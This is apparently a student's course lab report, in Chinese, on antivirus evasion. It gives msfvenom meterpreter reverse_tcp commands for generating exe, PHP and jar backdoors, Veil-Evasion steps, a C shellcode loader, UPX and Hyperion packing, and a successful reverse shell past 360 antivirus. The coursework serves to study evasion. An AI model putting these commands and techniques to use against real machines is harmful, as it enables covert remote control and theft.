• 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践


    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    基础问题回答

    杀软是如何检测出恶意代码的?

    1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代码),如果检测到特征码就会被断定为恶意软件。
    2.启发式恶意软件检测,是根据某些特征去推断是否为恶意软件。
    3.根据行为进行恶意软件检测: 通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,就会认定为是恶意软件。

    免杀是做什么?

    使用一些技术手段,不让杀软所检测到。

    免杀的基本方法有哪些?

    文件免杀方法:
    1.加壳,如加压缩壳和加密壳。
    2.加花指令,一般一个木马程序加入花指令后,就可以躲大部分的杀毒软件,不像改特征码,只能躲过某一种杀毒软件。
    3.改程序入口点。
    4.改木马文件特征码

    • 把特征码所对应的十六进制改成数字差1或差不多的十六进制
    • 把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了
    • 特征码所对应的汇编指令命令中替换成功能类拟的指令
    • 把具有特征码的代码顺序互换一下

    开启杀软能绝对防止电脑中恶意代码吗?

    • 开启杀软能起到防止电脑中恶意代码的风险,但不是绝对的。首先未录入病毒库的恶意代码就有可能避开杀软侵入到电脑。或者可以使用更高级的编码技术来隐藏恶意代码的特征码。

    实践过程记录

    任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    1. 正确使用msf编码器,生成exe文件

    • 实验二中使用msf生成了后门程序,在virscan中测试一下。:

      注意:在导入文件时文件名不能带有数字,否则会报错。
    • 面我们用msf编码器对后门程序进行一次的编码,其中-e:选择编码器,-b:是payload中需要去除的字符,-i是迭代的次数,因为shellcode以x00为结束符,所哟在-b后面要跟一个x00
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=攻击机的IP LPORT=端口号 -f exe > xxx.exe
    • 使用一下十次编译的方法:-i后跟一个10即可。
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=攻击机的IP LPORT=端口号 -f exe > xxx.exe

    2. msfvenom生成php文件

    • 生成PHP后门程序使用命令:
      msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机的IP LPORT=端口号 x> xxx.php
      生成文件如下图:

      放入virscan中进行测试:

    3. msfvenom生成jar文件

    • 生成jar后门程序使用命令:
      msfvenom -p java/meterpreter/reverse_tcp LHOST=攻击机的IP LPORT=端口号 x> xxx.jar
      生成文件如下图:

      放入virscan中进行测试:

    4. 使用veil-evasion生成后门程序及检测

    • 安装veil成功之后,输入veil,再用use evasion命令进入Evil-Evasion进入如下界面:
    • 输入命令use c/meterpreter/rev_tcp.py进入配置界面
    • 设置反弹连接IP,命令为:set LHOST kaliIP,设置端口,命令为:set LPORT 端口号。输入generate生成文件,接着输入playload的名字:如veil_c_5235:
    • 保存路径为/var/lib/veil/output/compiled/veil_c_5235.exe
    • 检测结果:

    5. 半手工注入Shellcode并执行

    • 使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=端口号 -f c用c语言生成一段shellcode。
    • 创建一个文件20165235.c,然后将unsigned char buf[] 拷贝到其中:
    unsigned char buf[] = 
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    ........
    "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
    
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    
    • 使用命令:i686-w64-mingw32-g++ 20165235.c -o 20165235.exe编译这个.c文件为可执行文件:
    • 进行检测:
    • 将其复制到Windows上,被杀软检测到:

    6.加压缩壳

    • 20165235.exe加个压缩壳,得到qy_upxed.exe:
    • 加压外壳的检测:
    • 不过还是被杀软给发现了:
    • 设置白名单之后进行反弹连接:

    7.使用加密壳Hyperion

    • 将qy_upxed.exe拷贝到/usr/share/windows-binaries/hyperion/,并且进入到这个文件目录下,使用终端输入命令wine hyperion.exe -v qy_upxed.exe qy_upxed_Hyperion.exe进行加加密壳:

    任务二:通过组合应用各种技术实现恶意代码免杀

    • 对半手工制作shellcode加压缩壳不能达到免杀的目的,加密壳有一定的几率是可以达到了免杀的目的。
    • 加密壳的免杀和反弹连接:

    任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 使用msfvenom生成shellcode,再使用压缩壳和加密壳进行加壳。对方的主机是win7系统,免杀软件是360,版本是:11.1.0.2001
    • 另一台主机免杀:
    • 反弹连接的结果:

    离实战还缺些什么技术或步骤?

    本次实验我们只是简单的对文件进行加壳隐藏特征码来免杀,但是现在的病毒库更新速度很快,应该学会结合多种技术来免杀,如结合加壳,更换编码,修改程序入口,隐藏恶意软件共有的行为等来进行免杀。

    实验中遇到的问题:

    • 在shellcode进行反弹连接时,恶意软件在win7上无法运行,直接被终止。
    • 解决方法:我先后关闭了杀软,防火墙等软件,但还是没用。更换了端口号也是没什么用,将shellcode拷贝到win7虚拟机也是同样被终止。最后我让同学帮我在他的kali上生成后门软件,并将ip和端口号进行了修改,最后完成了反弹连接实验。

    实践总结与体会

    本次实验要就掌握msf编码器,使用msfvenom生成各种类型的后门软件,而且最大的收获值学会了shellcode注入。在进行实验的时候遇到了不少的问题,如后门程序在win7上运行时会中断等问题。但最终还是解决了这些问题。
    学习完本次的实验对免杀原理有了深层次的了解。对以后网络恶意软件的防范有了扎实的理论支持。

  • 相关阅读:
    【学习笔记】pip3 安装使用国内源
    【学习笔记】Team Explorer for Microsoft Visual Studio2015 安装时发生严重错误
    微信聊天记录长图 打印
    Go语言中用 os/exec 执行命令的五种姿势
    Python 代码调试神器:PySnooper
    终于来了!!Pyston v2.0 发布,解决 Python 慢速的救星
    超详细讲解如何使用 pdb 在服务器上调试代码
    超详细图文教你如何使用 PyCharm 进行远程调试
    最全的 pip 使用指南,50 % 你可能都没用过~
    学 Python 一定要学会的几个高阶函数
  • 原文地址:https://www.cnblogs.com/qy20165235/p/10623912.html
Copyright © 2020-2023  润新知